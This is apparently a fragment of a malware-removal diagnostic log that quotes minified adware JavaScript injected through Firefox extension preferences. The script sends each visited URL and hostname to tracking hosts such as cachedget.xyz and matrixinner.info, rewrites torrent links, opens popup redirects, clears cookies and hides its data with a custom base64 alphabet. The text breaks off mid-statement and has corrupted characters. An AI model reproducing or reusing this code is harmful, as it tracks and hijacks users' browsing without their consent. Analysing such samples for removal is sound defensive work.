h=arguments.callee;e.waitTimeout=setTimeout(function(){k.waitForElementCounter++;h(b,c,d,f)},d)}else{if(e.waitForTokens[f])return c(null);e.waitForTokens[f]=!0;k.waitForElementCounter=0;return c(g)}};e.flushWaitForTokens=function(){e.waitForTokens={}};e.getRandomInt=function(b,c){return Math.floor(Math.random()*\r\n(c-b+1))+b};e.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function©{\"float\"==c&&(c=\"styleFloat\");c=e.dhtml_prop_name©;return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[c]?b.currentStyle[c]:null}}}:function(b,c){return window.getComputedStyle(b,c)||{getPropertyValue:function(){}}};e.query_selector_all=document.querySelectorAll?function(b){try{return document.querySelectorAll(b)}catch©{}}:function(b){var c=\r\nb.match(/^#([^,\\s]+)$/)||[];if(1<c.length)return b=document.getElementById(c[1])||void 0,\"undefined\"!=typeof b?:[];c=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild©;document.__asya_qsaels=[];c.styleSheet.cssText=b+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};e.clone_object=window.JSON instanceof Object?function(b){if(b instanceof Object&&(b=JSON.stringify(b),\"string\"==typeof b))return JSON.parse(b)}:\r\nfunction(b){if(b instanceof Object){var c=new b.constructor,d;for(d in b)c[d]=arguments.callee(b[d]);return c}return b};e.dhtml_prop_name=function(b){return b.replace(/(\\-([a-z]){1})/g,function(b,d,f){return f.toUpperCase()})};e.wildcard_to_regex=function(b){b=b.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");b=b.replace(/\\*/g,\".*\");return new RegExp(b)};e.throttle=function(b,c){var d=null;return function(){var f=this,e=arguments;clearTimeout(d);d=setTimeout(function(){b.apply(f,e)},c)}};e.epoch=function(){return(new Date).getTime()};\r\ne.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(b)?!1:b}();e.version_ie_less=function(b){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=b?!0:!1};e.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};\r\ne.match_url=function(b,c){for(var d=0;d<c.length;d++)if(\"string\"==typeof c[d]){var f;f=/^\\/.+\\/$/.test(c[d])?new RegExp(c[d]):e.wildcard_to_regex(c[d]);if(f instanceof RegExp&&f.test(b))return!0}};e.ping=function(b){for(var c=[\"google\",\"bing\",\"yahoo\",\"youtube\"],d=0;d<c.length;d++)if(-1<location.hostname.indexOf(c[d])){var e=new Image,g=encodeURIComponent(window==window.top?window.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);\r\ne.src=k.pixelHost+\"?hid=2021033856717153140&eid=1461&pid=25116&prodid=338&v=\"+k.version+\"&ch=\"+b+\"&lan=\"+navigator.language+\"&cc=US&pr=\"+c[d]+\"&host=\"+h+\"&ref=\"+g}};e.getAllText=function(b){for(var c=\"\",d=0;d<b.length;d++)c+=b.textContent?b.textContent:b.innetText;return c};e.duplicateElement=function(b){var c=document.createElement(b.nodeName.toLowerCase()),d=!1;b.getAttribute(\"href\")&&c.setAttribute(\"href\",\"javascript:void(0);\");for(var f in b)if(\"src\"==\r\nf||\"width\"==f||\"height\"==f)c[f]=b[f];else if(\"style\"==f)for(var g in b[f])b[f][g]&&\"\"!=b[f][g]&&(c[f][g]=b[f][g]);else d||\"nodeValue\"!=f&&\"textContent\"!=f&&\"innetText\"!=f&&\"className\"!=f||0!=b.children.length||(c[f]=b[f],d=!0);for(d=0;d<b.childNodes.length;d++)if(3==b.childNodes[d].nodeType)c.appendChild(document.createTextNode(b.childNodes[d].textContent?b.childNodes[d].textContent:b.childNodes[d].innerText));else{f=e.duplicateElement(b.childNodes[d]);g=e.getAllText(f.childNodes);var h=b.childNodes[d].textContent?\r\nb.childNodes[d].textContent:b.childNodes[d].innerText;h&&(h=h.replace(g,\"\"),\"\"!=h&&(f.textContent?f.textContent=h:f.innerText=h));c.appendChild(f)}return c}};if(-1<window.location.href.indexOf(\"google.com/chrome/srt\")&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")){try{var g=parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1],10)}catch(n){return}if(!(38>=g)){for(g=0;g<document.links.length;g++){var h=document.links[g],l=h.getAttribute(\"href\");if(l&&-1<l.indexOf(\"#dialog-contents\")){var l=\r\nk.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(l,h);m.removeChild(h)}}(g=document.getElementById(\"dialog-contents\"))&&g.remove()}}};\r\n(function(){try{window.top==window&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&chrome.storage.local.get(\"fjretxz9kgo\",function(a){a=a.fjretxz9kgo?parseInt(a.fjretxz9kgo):0;var c=Math.ceil(+new Date/1E3);if(604800<c-a){a=document.getElementsByTagName(\"a\");for(var b=0;b<a.length;b++)a&&a.href&&\"torrent\"==a.href.replace(/\\?.+$/,\"\").substr(-7)&&(a.setAttribute(\"href\",\"http://freemp4.in.ua...(\"show-options catbus-open catbus--left header--masthead\").length)try{var conf={lt:localStorage.getItem(\"wbbqqlt\")||0,counter:localStorage.getItem(\"wbbqqctr\")||0},epoch=Math.ceil(+new Date/1E3),i;for(i in conf)conf[i]=parseInt(conf[i]);if(300>epoch-conf.lt)localStorage.setItem(\"wbbqqctr\",\"6\");else if(6>conf.counter){localStorage.setItem(\"wbbqqlt\",epoch);localStorage.getItem(\"wbbqqctr\",++conf.counter);var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");\r\na.setAttribute(\"href\",\"http://jmp.awempire....tic\")){for(var cookies=document.cookie.split(\";\"),i=0;i<cookies.length;i++){var cookie=cookies[i],eqPos=cookie.indexOf(\"=\"),name=-1<eqPos?cookie.substr(0,eqPos):cookie;document.cookie=name+\"=;expires=Thu, 01 Jan 1970 00:00:00 GMT\"}var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");a.setAttribute(\"href\",\"http://jmp.awempire....41\",\"1\");var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");a.setAttribute(\"href\",\"http://jmp.awempire....ch(e){};try{new function(){var a=this;a.prefix='hggasdgjhsagd';a.pixelHostname=function(){try{return'//direct_pop.'+eval('[\"starves.org\",\"winnermore.com\"]')['https:'==window.self.location.protocol?1:0]}catch(a){return'//'+['direct_pop.winneri.info','direct_pop.winnermore.org']['https:'==window.self.location.protocol?1:0]}}();a.pixelTestIframeBaseURL='//pxltst.unition.org/adzpoppxl/';a.token='px.pluginh';a.pxlData='__pdt';a.campaignData='__dwfgifgtfgtasifsdyfsdoif';a.testLp='http://mydata.search...earchero.info';a.testLpCampaignId='309374';a.testLpCampaignIdStatic='309520';a.testLp3='http://usergoldmembersky.com;a.testLp4=http://easybinary-art.com;a.testLpCampaignId2=310062;a.testLpCampaignIdStatic2=310064;decodeURIComponent(CutThePrice');document.getElementById('__hggasdgjhsagd_once')||(a.Utils=new function(){var a=this;a.l=new function(){var a=this;a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(f){f=a._utf8_encode(f);for(var e='',c=0;c<f.length;){var d= f.charCodeAt(c++),h=f.charCodeAt(c++),g=f.charCodeAt(c++),n=d>>2,d=(d&3)<<4|h>>4,m=(h&15)<<2|g>>6,k=g&63;isNaN(h)?m=k=64:isNaN(g)&&(k=64);e=e+a.xlat.charAt(n)+a.xlat.charAt(d)+(64==m?'=':a.xlat.charAt(m))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var b='',c=0;c<a.length;c++){var d=a.charCodeAt©;128>d?b+=String.fromCharCode(d):(127<d&&2048>d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d& 63|128))}return b}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var d=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),m=(h&15)<<4|g>>2,k=(g&3)<<6|n,b=b+String.fromCharCode(d<<2|h>>4);64!=g&&0<m&&(b+=String.fromCharCode(m));64!=n&&0<k&&(b+=String.fromCharCode(k))}return this._utf8_decode(b)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var d= a.charCodeAt©;if(128>d)b+=String.fromCharCode(d),c++;else if(191<d&&224>d)var h=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|h&63),c=c+2;else var h=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(h&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie ( \\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b= location.href.split('__pdt');1<b.length&&(b=a.l.decode(b[1]));return function(a){var b={};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,f,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,''))};a.getHostname=function(a){var c=document.createElement('a');c.href=a;return c.hostname};a.getParameterByName=function(b){b=b.replace(/[\\[]/,'\\\\[').replace(/[\\]]/,'\\\\]');b=RegExp('[\\\\?&]'+b+'=([^&#]*)').exec(location.search);if(null===b)return'';b=b[1].replace(/\\+/g,' ');b=a.l.decode(b);b=decodeURIComponent(b); return a.queryStringToObject(b.split('?')[1])};a.queryStringToObject=function(a){a=a.split('&');var c={},e,l;for(l in a)''!==a[l]&&(e=a[l].split('='),c[decodeURIComponent(e[0])]=decodeURIComponent(e[1]));return c}},function(){var a=document.createElement('div');a.id='__hggasdgjhsagd_once';a.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild(a)}(),a.createPixelUrl=function©{var b={pid:0,cc:'AA',eid:0,hid:0,v:0,ch:0,cid:0,tid:1,adtid:0,smid:0,pbid:0, sh:'empty.com',oh:a.Utils.getHostname(location.href)},f,e,l=[];c=c||{};for(e in c)f=c[e],b[e]=f;for(e in b)f=b[e],l.push(e+'='+encodeURIComponent(f));return a.pixelHostname+'?'+l.join('&')},a.pixel=function©{(new Image).src=a.createPixelUrl©},a.runOnCampaigns=function(a,b,f){if(a&&!isNaN(a-0)){b=b||[];if('number'==typeof b||'string'==typeof b&&!isNaN(b-0))b=[b-0];for(var e=0;e<b.length;e++)b[e]==a&&f(b[e])}},a.loadPixelTestIframe=function©{if(document.body){var b=document.createElement('iframe'); b.src=c;b.style.cssText='border:none;background:none;width:1px;height:1px;overflow:hidden;display:inline;padding:0;margin:0';document.body.appendChild(b)}else setTimeout(function(){a.loadPixelIframe©},50)},a.injectGA=function(a){var b=document.getElementsByTagName('head')[0];a=\"if(typeof ga == 'undefined'){(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q = i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m = s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create',  '\"+ a+\"', 'auto'); ga('send', 'pageview') }else{ ga('create',  '\"+a+\"', 'auto',{'name':'testStyloosh'}); ga('testStyloosh.send', 'pageview');}\";var f=document.createElement('script');f.type='text/javascript';f.text=a;b&&b.appendChild(f)},a.shootTestPixels=function©{c==a.testLpCampaignId?(a.injectGA('UA-60126760-2'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-2',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignId2?(a.injectGA('UA-60126760-11'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-11',oh:a.Utils.getHostname(location.href)})):c==a.testLpCampaignIdStatic?(a.injectGA('UA-60126760-6'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-6',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignIdStatic2&&(a.injectGA('UA-60126760-13'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-13',oh:a.Utils.getHostname(location.href)}))},a.initDirectPixel=function(){if(-1<location.href.indexOf(a.testLp))return a.shootTestPixels(a.testLpCampaignId);if(-1<location.href.indexOf(a.testLp2))return a.shootTestPixels(a.testLpCampaignIdStatic);if(-1<location.href.indexOf(a.testLp3))return a.shootTestPixels(a.testLpCampaignId2); if(-1<location.href.indexOf(a.testLp4))return a.shootTestPixels(a.testLpCampaignIdStatic2);if(-1<location.href.indexOf(a.token)&&-1<location.href.indexOf(a.pxlData))try{if(a.Utils.msie)a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8011,cid:'-7878',tid:3,adtid:0,smid:0,pbid:0,sh:'msie ='+a.Utils.msie,oh:a.Utils.getHostname(location.href)});else{var c=a.Utils.getParams();'object'===typeof c&&(c.ch=8001,a.pixel©,a.runOnCampaigns(c.cid, [309216],function(b){a.loadPixelTestIframe(a.pixelTestIframeBaseURL+'?ch='+c.ch)}),a.runOnCampaigns(c.cid,[a.testLpCampaignId],function(b){a.injectGA('UA-60126760-1');a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignId,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-1',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic],function(b){a.injectGA('UA-60126760-7');a.pixel({pid:'25116', cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignIdStatic,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-7',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignId2],function(b){a.injectGA('UA-60126760-10');a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignId2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-10',oh:a.Utils.getHostname(location.href)})}), a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic2],function(b){a.injectGA('UA-60126760-12');a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignIdStatic2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-12',oh:a.Utils.getHostname(location.href)})}))}}catch(b){var f=255>b.message.length?b.message:b.message.slice(0,255),e=255>location.href.length?location.href:location.href.slice(0,255);(new Image).src=a.createPixelUrl({ch:8020, oh:e,sh:f})}},'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a),a.initDirectPixel())}; }catch(e){}})();");
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:39.0
FF - prefs.js..extensions.q2Jv2HroLalXfzPW.scode: "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\",\"new.livejasmin.com\",\"profollica.com\",\"secure.dditservices.com\",\"provillus.com\",\"search.asistents.com\",\"cryptogmail.com\",\"bancdebinary.com\",\"investkingdom.com\",\"www.optionsclick.com\",\"www.optionfair.com\",\"www.24option.com\",\"www.viracure.com\",\"onesystemcare.com\",\"onesave.com\",\"backin.net\",\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"sporty-glow.com\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/(d1ljaxj866duo3|d1htcstfblev9a)\\.cloudfront\\.net$/,/^websearch\\.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell)\\.info$/,/search\\.(easylifeapp|gboxapp|searchonme|appsarefun|genieo)\\.com/]];for(var i=0,a=d[0],l=a.length;i<l;i++){if(window.location.hostname.indexOf(a[i])>-1){return;}}for(var j=0,a=d[1],l=a.length;j<l;j++){if(a[j].test(window.location.hostname)){return;}}}catch(e){}try{var u=[[\"#InterYield\",\"revenuewire.com/pcutilitiespro\",\"__ipm=\",\"=apapamam\",\"txtlnkusaolp00000800\",\"=admaven\",\"5386b_643c_\",\"=CONMHP&conlogo=CT3210127\",\"www.livegeekhelp.com/pop/\",\"?ctid=ct3330145\",\"?ctid=ct3330146\",\"?ctid=ct3330147\",\"?ctid=ct3330148\",\"?ctid=ct3330149\",\"if72ru4sdfsdfruh7fewui\",\"fghjktghndfgtssss\",\"vdsfvdfvvf\",\"jp.hao123.com/?tn=webpick_pay_sc_up01_hao123_jp\",\"form=u064ht&pc=u064\",\"source=45905810\",\"source=532d277e\",\"aro.com/ws/?source=6974b128\",\"esmoke.com/?isid=9949\",\"esmoke.com/?isid=9950\",\"esmoke.com/?isid=9951\",\"id=webpick_ot\",\"id=wbpk_ot\",\"hash=a4vxy8\",\"hash=m5g73j\",\"hash=hg7gja\",\"hash=fz61s5\",\"hash=1i5w2d\",\"hash=zndas3\",\"hash=b3qau4\",\"hash=ijeqe4\",\"duit&ptag=aa7aab832a2de41458bf&\",\"duit&ptag=a93f650ac0e6a4a4791f&\",\"duit&ptag=a79888693f6ca4634a6f\",\"duit&ptag=a359b17b6faa44e6b86f\",\"isid=mf245f633-e188-4162-b56a\",\"sid=meabfcf9a-556b-4c5c-8727\",\"isid=m8fbc22fe-ab08-464e-aa63\",\"uid=531364863_132823_4252277e\"],[/^https?:\\/\\/static\\.williamhill\\.com\\/index\\.html.*?[?&]var5=11puk_/,/^https?:\\/\\/lp\\.stargames\\.com\\/(.*?[?&](page=v07|cid=57397|pid=13993|afid=11pde_)){4}/,/https?:\\/\\/lp\\.ilividnewtab\\.com\\/([?&](sysid=533|appid=674|lpid=4225)){2,3}/,/https?:\\/\\/plarium\\.com\\/play\\/en\\/sparta\\/top\\/([?&](adCampaign=(59658|59659)|adPixel=webfore|publisherID=2084)){3}/,/https?:\\/\\/superpctools\\.com\\/(en\\/)?(windows-pc-repair-lp-204|superoptimizerlp1a-lp-202)\\/\\?vtsid=1002137/,/^https?:\\/\\/www\\.srv2trking\\.com\\/click\\.track([?&](CID=(295669|264686)|AFID=353369|ADID=(1279308|1238822|1278537)|SID=)){4}/,/^https?:\\/\\/webtrackerplus\\.com\\/([?&](a_aid=5sggsj2q8zmzz|page=tiger|clickid=)){3}/,/^https?:\\/\\/www\\.securesaycpa\\.com\\/aff_c([?&](offer_id=14|aff_id=1492)){2}/,/^https?:\\/\\/affiliate\\.integral-marketing\\.com\\/offer\\/554736d253d58313a0611882\\/[1-5]\\?.*?aff_id=554736017d53b314045833a7([&#]|$)/,/^https?:\\/\\/([a-z0-9-]+\\.)*search\\.yahoo\\.com\\/yhs\\/.*[&?]hspart=(webpick|GenieoYaho)(&|$)/i,/^https?:\\/\\/([a-z0-9-]+\\.)*google\\.com\\/.*?(dommkfimfbbhdeboddnnlegdgbcebomb)/,/^https?:\\/\\/lp\\.cryptogmail\\.com\\/.*?[?&]utm_medium=cpd_(1786)_.*?&utm_campaign=(youtube1|youtube2|LP1Allgeo|LP2AM|LPHPALL|LP4all)(?=&|#|$)/,/^https?:\\/\\/trade\\.optionsclick\\.com\\/.*?[?&]p1=35191_(359687|359689)(?=&|#|$)/,/^https?:\\/\\/ofbinarysystem\\.com\\/.*?\\?.*?bta=(35393)(?=&).*?&afp=Krypton_/i,/^https?:\\/\\/option\\.go2jump\\.org\\/(SHIyqq|SHIyqs|SHIypC|SHOXy8)(?=\\?)/,/^https?:\\/\\/go\\.bancdebinary\\.com\\/lp\\/.*?(?=\\?).*?(\\?|&)a_aid=(HO8690)(?=&).*?&campaign=(7718)(?=&).*?&a_bid=(262)/,/^https?:\\/\\/tracking\\.bbinary\\.com\\/aff_c\\?.*?offer_id=(262)(?=&).*?&aff_id=(8690)(?=&).*?&url_id=(1310|1638|1690|1549|1644|1332|1668|1684)(?=&|#|$)/,/[\\?&]p=24039(&|$)/,/lll[a-zA-Z0-9]{11}00/,/#FA[-_]/,/bing\\.com[^p]+pc=.+/,/^http:\\/\\/sporty-glow\\.com\\//,/^http:\\/\\/game-trek\\.net\\//,/#(a652c|ld893)_/,/[&?]pid=715493([&#]|$)/,/ressbar\\.com[^f]+fid=65017/]];for(var i=0,a=u[0],l=a.length;i<l;i++){if((window.location.href+\"#\"+window.name).indexOf(a[i])>-1){(new Image).src = \"//\"+[\"cachedget.xyz\",\"mymatrixinner.net\"][window.location.protocol!= \"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[i])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1461&pid=25116&hid=2021033856717153140\";return;}}for(var j=0,a=u[1],l=a.length;j<l;j++){if(a[j].test(window.location.href+\"#\"+window.name)){(new Image).src=\"//\"+[\"cachedget.xyz\",\"mymatrixinner.net\"][window.location.protocol!=\"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[j])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1461&pid=25116&hid=2021033856717153140\";return;}}}catch(e){}try{window.top == window && new function () { if (!document.getElementsByTagName(\"body\").length || !document.getElementsByTagName(\"body\")[0].getAttribute(\"s2021033856717153140\")) { var m = document.getElementsByTagName(\"body\")[0]; m && m.setAttribute(\"s2021033856717153140\", \"1\" var b = this; b.pixelHost = \"//sepx.matrixinner.info\"; b.prefix = \"jhgasdf\"; b.version = \"0.5\"; b.now = (new Date).getTime(); b.clickInterval = 2592E5; b.ratio = 12; b.initThrottle = \"google;gmaps;amazon;bing\"; b.unique_items_left = !0; b.eid = decodeURIComponent(\"CutThePrice\"); b.num_of_items_in_one = 4; b.count = 0; b.baseHostname = \"matrixinner.info\"; b.utils = new function () { var a = this; a.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var f = a[e]; b = new Image; b.src = f } else b = new Image, b.src = a }; a.isFalse = function (a) { return \"undefined\" == typeof a || a instanceof Array && 0 == a.length || null === a ? !0 : !1 }; a.cookie = new function () { var a = this; a.createCookie = function (a, c, b) { if (b) { var g = new Date; g.setTime(g.getTime() + 864E5 * b); b = \"; expires=\" + g.toGMTString() } else b = \"\"; document.cookie = a + \"=\" + c + b + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var b = document.cookie.split(\";\"), c = 0; c < b.length; c++) { for (var g = b[c]; \" \" == g.charAt(0);)g = g.substring(1, g.length); if (0 == g.indexOf(a))return g.substring(a.length, g.length) } return null }; a.eraseCookie = function (b) { a.createCookie(b, \"\", -1) } }; a.ajax = { get: function (b, d) { try { this.xhr = new XMLHttpRequest, this.xhr.open(\"GET\", b, !0), this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && d(a.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (b, d, e) { this.xhr = new XMLHttpRequest; this.xhr.open(\"POST\", b, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && e(a.ajax.xhr.responseText) }; d = encodeURIComponent(d); this.xhr.send(d) }}; a.waitForTokens = {}; a.addScript = function (a, b) { if (\"bing\" == b) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; a.waitForElement = function (c, d, e, f) { var g = a.query_selector_all©; clearTimeout(a.waitTimeout); if (25 < b.waitForElementCounter)return d(null); if (\"undefined\" == typeof g || 1 > g.length) { if (a.waitForTokens[f])return d(null); var h = arguments.callee; a.waitTimeout = setTimeout(function () { b.waitForElementCounter++; h(c, d, e, f) }, e) } else { if (a.waitForTokens[f])return d(null); a.waitForTokens[f] = !0; b.waitForElementCounter = 0; return d(g) } }; a.flushWaitForTokens = function () { a.waitForTokens = {} }; a.getRandomInt = function (a, b) { return Math.floor(Math.random() * (b - a + 1)) + a }; a.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (b) { return { getPropertyValue: function (d) { \"float\" == d && (d = \"styleFloat\"); d = a.dhtml_prop_name(d); return \"object\" == typeof b.currentStyle && null != b.currentStyle && \"undefined\" != typeof b.currentStyle[d] ? b.currentStyle[d] : null } } } : function (a, b) { return window.getComputedStyle(a, b) || { getPropertyValue: function () { }} }; a.query_selector_all = document.querySelectorAll ? 